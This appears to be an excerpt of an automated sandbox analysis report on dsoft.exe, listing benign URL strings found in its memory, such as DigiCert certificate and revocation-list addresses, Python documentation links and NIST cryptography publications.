            Source: dsoft.exe, 00000001.00000002.2568617414.0000029489480000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2707717704.000001FA5CAE0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://aka.ms/vcpython27
            Source: dsoft.exe, 0000000E.00000002.2707717704.000001FA5CAE0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://aka.ms/vcpython27p
            Source: dsoft.exe, 00000001.00000003.2545732531.0000029488ADE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548674484.0000029488D9E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541343735.0000029489846000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554026491.0000029489853000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538385729.0000029488D9A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538354750.0000029488D91000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554394468.00000294896EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550665354.0000029488ADF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542760819.000002948984B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534884417.00000294896C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567353265.0000029488DA0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541781590.000002948846D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488ADE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539552656.0000029488462000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550535779.000002948963B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2569022192.0000029489645000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.00000294896BB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895D3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550791640.0000029489643000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539842827.0000029488467000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
            Source: dsoft.exe, 00000001.00000002.2571047548.000002948A1B4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://bugs.python.org/issue23606)
            Source: dsoft.exe, 00000001.00000002.2571047548.000002948A1B4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://bugs.python.org/issue23606)P
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161F4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161F2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2165000044.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2165000044.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161F2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161F4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
            Source: dsoft.exe, 00000001.00000002.2571047548.000002948A1B4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cffi.readthedocs.io/en/latest/cdef.html#ffi-cdef-limitations
            Source: dsoft.exe, 00000001.00000003.2537777125.0000029488B98000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2009384833.0000029488561000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551173697.0000029488588000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538354750.0000029488D91000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548967761.0000029488583000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542139441.000002948857E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488BE5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539453832.0000029488525000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2012578673.0000029488BE5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541993942.0000029488565000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538217005.0000029488BBA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538106885.0000029488BAB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540133201.0000029488535000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488B98000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547645603.0000029488581000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2536542831.0000029488519000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542281253.0000029488BFC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539168516.000002948851C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
            Source: dsoft.exe, 00000001.00000003.2539909753.0000029488247000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547724695.0000029488249000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2688621656.000001FA5BAAF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2685843835.000001FA5BA92000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2183631612.000001FA5BB5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://code.activestate.com/recipes/577916/
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161F4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161F2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161F4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2165000044.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
            Source: dsoft.exe, 0000000A.00000003.2160707465.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
            Source: dsoft.exe, 00000000.00000003.1990385921.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1988692704.00000177161F2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987314194.00000177161F4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
            Source: dsoft.exe, 00000001.00000003.2541781590.000002948846D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539552656.0000029488462000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539842827.0000029488467000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547514499.000002948848E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549283681.0000029488493000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2685660711.000001FA5BBF2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2695751088.000001FA5BBF5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/eax/eax-spec.pdf
            Source: dsoft.exe, 00000001.00000003.2545732531.0000029488ADE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550665354.0000029488ADF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488ADE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895D3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679719201.000001FA5B864000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2686149501.000001FA5B865000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38C/SP800-38C.pdf
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548674484.0000029488D9E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538385729.0000029488D9A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538354750.0000029488D91000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567353265.0000029488DA0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550535779.000002948963B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2569022192.0000029489645000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550791640.0000029489643000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2552508632.0000029488D9E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2687052818.000001FA5CCA3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
